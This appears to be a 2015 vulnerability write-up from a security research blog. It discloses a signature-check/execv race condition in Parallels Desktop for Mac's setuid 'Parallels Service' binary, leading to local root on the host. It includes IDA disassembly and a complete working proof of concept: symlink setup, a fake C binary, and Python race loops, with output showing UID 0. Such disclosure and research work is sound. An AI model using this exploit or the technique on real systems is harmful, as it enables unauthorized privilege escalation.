

GrayHash – Offensive Security Research Center

TAGS

0day, osx, parallels, race-condition

0-day race condition in Parallels Desktop for Mac (Local Privilege Escalation On Host)


January 8, 2015

This post is about a Parallels Desktop for Mac Local Privilege Escalation bug on host. (Unfortunately, not about escaping Virtual machine.) I suddenly found a root-setuid executable in a Parallels installed directory while i was cleaning up my disk. I'm using the latest version of the program which is 10.1.2 (28859) at this moment.

- * Target: Parallels Desktop for Mac
- * Version: 10.1.2 (28859) (Latest version, 8 Jan 2015)
- * Bug class: Race condition
- * Impact: Local Privilege Escalation on host


```
beist_air$ cd "/Applications/Parallels Desktop.app/Contents/MacOS/"
beist_air$ ls -al "Parallels Service"
-rwsr-sr-x 1 root accessibility 27376 1 8 13:24 Parallels Service
```

I wondered what "Parallels Service" is doing. And I have an IDA and why not go firing on it.



(https://beistlab.files.wordpress.com/2015/01/service_ida.png)

Then, you can see the entry point here.




(https://beistlab.files.wordpress.com/2015/01/service_entry_point.png)

Now, I went to the function list and found an interesting one; `'_execv'`

f	start	__text	00000001000025A0
f	sub_1000025DC	__text	00000001000025DC
f	sub_1000025F0	__text	00000001000025F0
f	sub_100002600	__text	0000000100002600
f	sub_100002920	__text	0000000100002920
f	_Gestalt	__stubs	0000000100002B70
f	_SecCertificateCopyCommonName	__stubs	0000000100002B76
f	_SecCodeCopySigningInformation	__stubs	0000000100002B7C
f	_SecRequirementCreateWithString	__stubs	0000000100002B82
f	_SecStaticCodeCheckValidity	__stubs	0000000100002B88
f	_SecStaticCodeCreateWithPath	__stubs	0000000100002B8E
f	___snprintf_chk	__stubs	0000000100002B94
f	___stack_chk_fail	__stubs	0000000100002B9A
f	_dirname	__stubs	0000000100002BA0
f	_execv	__stubs	0000000100002BA6
f	_exit	__stubs	0000000100002BAC
f	_fprintf	__stubs	0000000100002BB2
f	_fwrite	__stubs	0000000100002BB8
f	_geteuid	__stubs	0000000100002BBE
f	_memcpy	__stubs	0000000100002BC4
f	_setuid	__stubs	0000000100002BCA
f	_strcmp	__stubs	0000000100002BD0
f	_strlen	__stubs	0000000100002BD6
f	_CFArrayGetCount	__stubs	0000000100002BDC
f	_CFArrayGetValueAtIndex	__stubs	0000000100002BE2
f	_CFDictionaryGetValue	__stubs	0000000100002BE8
f	_CFRelease	__stubs	0000000100002BEE
f	_CFStringCompare	__stubs	0000000100002BF4
f	_CFStringCreateWithCString	__stubs	0000000100002BFA
f	_CFStringHasPrefix	__stubs	0000000100002C00
f	_CFURLCopyAbsoluteURL	__stubs	0000000100002C06
f	_CFURLCreateFromFileSystemRepresent...	__stubs	0000000100002C0C


(https://beistlab.files.wordpress.com/2015/01/service_execv.png)

Let's check out what functions are calling `_execv()`.




(https://beistlab.files.wordpress.com/2015/01/service_execv_cross.png)

There is only one calling the execute function, here.



(https://beistlab.files.wordpress.com/2015/01/service_execv_call.png)


And if you scroll up, you'll see these basic blocks. I skipped how you can be reached here but after a bit of reverse engineering, it'll turn out it's just comparing your argv[1] to 'inittool'. (For the record, there are more commands than 'inittool' such as service_start and service_stop. But it seems only 'inittool' can execute an executable.)



(https://beistlab.files.wordpress.com/2015/01/service_strcmp.png)

```
beist_air$ ls -al inittool
-rwxr-xr-x@ 1 root wheel 23992 1 8 13:24 inittool
```

Scroll down to come back.



(https://beistlab.files.wordpress.com/2015/01/service_scroll_down.png)

Wait, we spot this string. “error: failed to verify signature (%d)”

So, we can guess the sub_100002920() function verifies if it’s properly signed or not. The next screenshot is part of code of the function.



(https://beistlab.files.wordpress.com/2015/01/service_sign_check.png)

We now name sub_100002920() as verify(). Now, let’s read the assembly code between verify() and execv() linearly.

```

text:0000000100002855      mov     edx, 3
text:000000010000285A      mov     rdi, rbx          ; char *
text:000000010000285D      call    verify
text:0000000100002862      mov     ecx, eax
text:0000000100002864      test    ecx, ecx
text:0000000100002866      mov     r13, r15
text:0000000100002869      jz       short loc_1000028AA
text:000000010000286B      mov     rax, cs:__stderrp_ptr
text:0000000100002872      mov     rdi, [rax]        ; FILE *
text:0000000100002875      lea     rsi, aErrorFailedToU ; "error: failed to verify s
text:000000010000287C      xor     eax, eax
text:000000010000287E      mov     edx, ecx
text:0000000100002880      call    _fprintf
text:0000000100002885      jnp     short loc_1000028E7
text:0000000100002887      ; -----
text:0000000100002887      loc_100002887:             ; CODE XREF: sub_100002600+E9fj
text:0000000100002887      ; sub_100002600+F3fj
text:0000000100002887      mov     rax, cs:__stderrp_ptr
text:000000010000288E      mov     rdi, [rax]        ; FILE *
text:0000000100002891      lea     rsi, aErrorInvalid_0 ; "error: invalid argument "
text:0000000100002898      xor     eax, eax
text:000000010000289A      mov     rdx, r12
text:000000010000289D      call    _fprintf
text:00000001000028A2      mov     r14d, 2
text:00000001000028A8      jnp     short loc_1000028E7
text:00000001000028AA      ; -----
text:00000001000028AA      loc_1000028AA:             ; CODE XREF: sub_100002600+1E7fj
text:00000001000028AA      ; sub_100002600+269fj
text:00000001000028AA      xor     edi, edi           ; uid_t
text:00000001000028AC      call    _setuid
text:00000001000028B1      mov     rdi, [r13+8]      ; char *
text:00000001000028B5      add     r13, 8
text:00000001000028B9      mov     rsi, r13          ; char **
text:00000001000028BC      call    _execv

```

(https://beistlab.files.wordpress.com/2015/01/service_linear.png)

This code flow is weird. Where is *race-condition-immune* code between `verify()` and `execv()`? Bingo, there must be a race. If we win, we can get 'root' as our target binary is a root-setuid executable.

However, the 'inittool' that "Parallels Services" executes is reached via "Parallels Services"'s own directory path. But we don't have any write permission in the directory.

drwxr-xr-x 35 root wheel 1190 1 8 13:24 MacOS

We have a solution from very old school. Just do make a hard-link or soft-link. I think I've explained almost everything to exploit this super simple vulnerability. Let me root my own box.

```

beist_air$ cd ~
beist_air$ mkdir -p Contents/Resources/
beist_air$ cp "/Applications/Parallels Desktop.app/Contents/Resources/exceptions.list"
Contents/Resources/
beist_air$ mkdir -p work/tmp/
beist_air$ ln -s "/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service"
work/tmp/poc
beist_air$ cd work/tmp
beist_air$ ls -al poc
lrwxr-xr-x 1 beist_air staff 68 1 8 11:26 poc -> /Applications/Parallels
Desktop.app/Contents/MacOS/Parallels Service
beist_air$ cp "/Applications/Parallels Desktop.app/Contents/MacOS/inittool" inittool
beist_air$ cp inittool orig_inittool
beist_air$ cat fake_inittool.c

```

```
#include
#include
#include
```

```
int main() {
printf("\nGot it! UID: %d\n", getuid());
printf("Got it! EUID: %d\n", geteuid());
while(1);
}
beist_air$ gcc -o fake_inittool fake_inittool.c
beist_air$ cat race.py
import os
import sys
```

```
while 1:
os.system("cp orig_inittool inittool")
os.system("cp fake_inittool inittool")
```

```
beist_air$ cat run.py
import os
while 1:
os.system("./poc inittool")
```

```
beist_air$ python race.py &
beist_air$ python run.py
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?
__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???
__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not
found
error: failed to verify signature (-67062)
./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?
__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???
__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not
found
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)
error: failed to verify signature (-67062)
./inittool: ./inittool: cannot execute binary file
error: failed to verify signature (-67061)
```

```
...
...
...
...
...
```

```
error: failed to verify signature (-67062)
error: failed to verify signature (-67061)
error: failed to verify signature (-67061)
error: failed to verify signature (-67062)
```


error: failed to verify signature (-67061)

error: failed to verify signature (-67061)

./inittool: ./inittool: cannot execute binary file

./inittool: line 16: __TEXT8?__stub_helper__TEXTL.L?

__cstring__TEXTz%z__unwind_info__TEXT?H?__eh_frame__TEXT???

__DATA__nl_symbol_ptr__DATA__la_symbol_ptr__DATAH__LINKEDIT: command not found

Got it! **UID: 0**

Got it! **EUID: 0**

After some seconds, I got the root shell. This is a race condition bug from like 90's. It's probably time to hunt some virtual machine escape bugs in it.

Enjoy.

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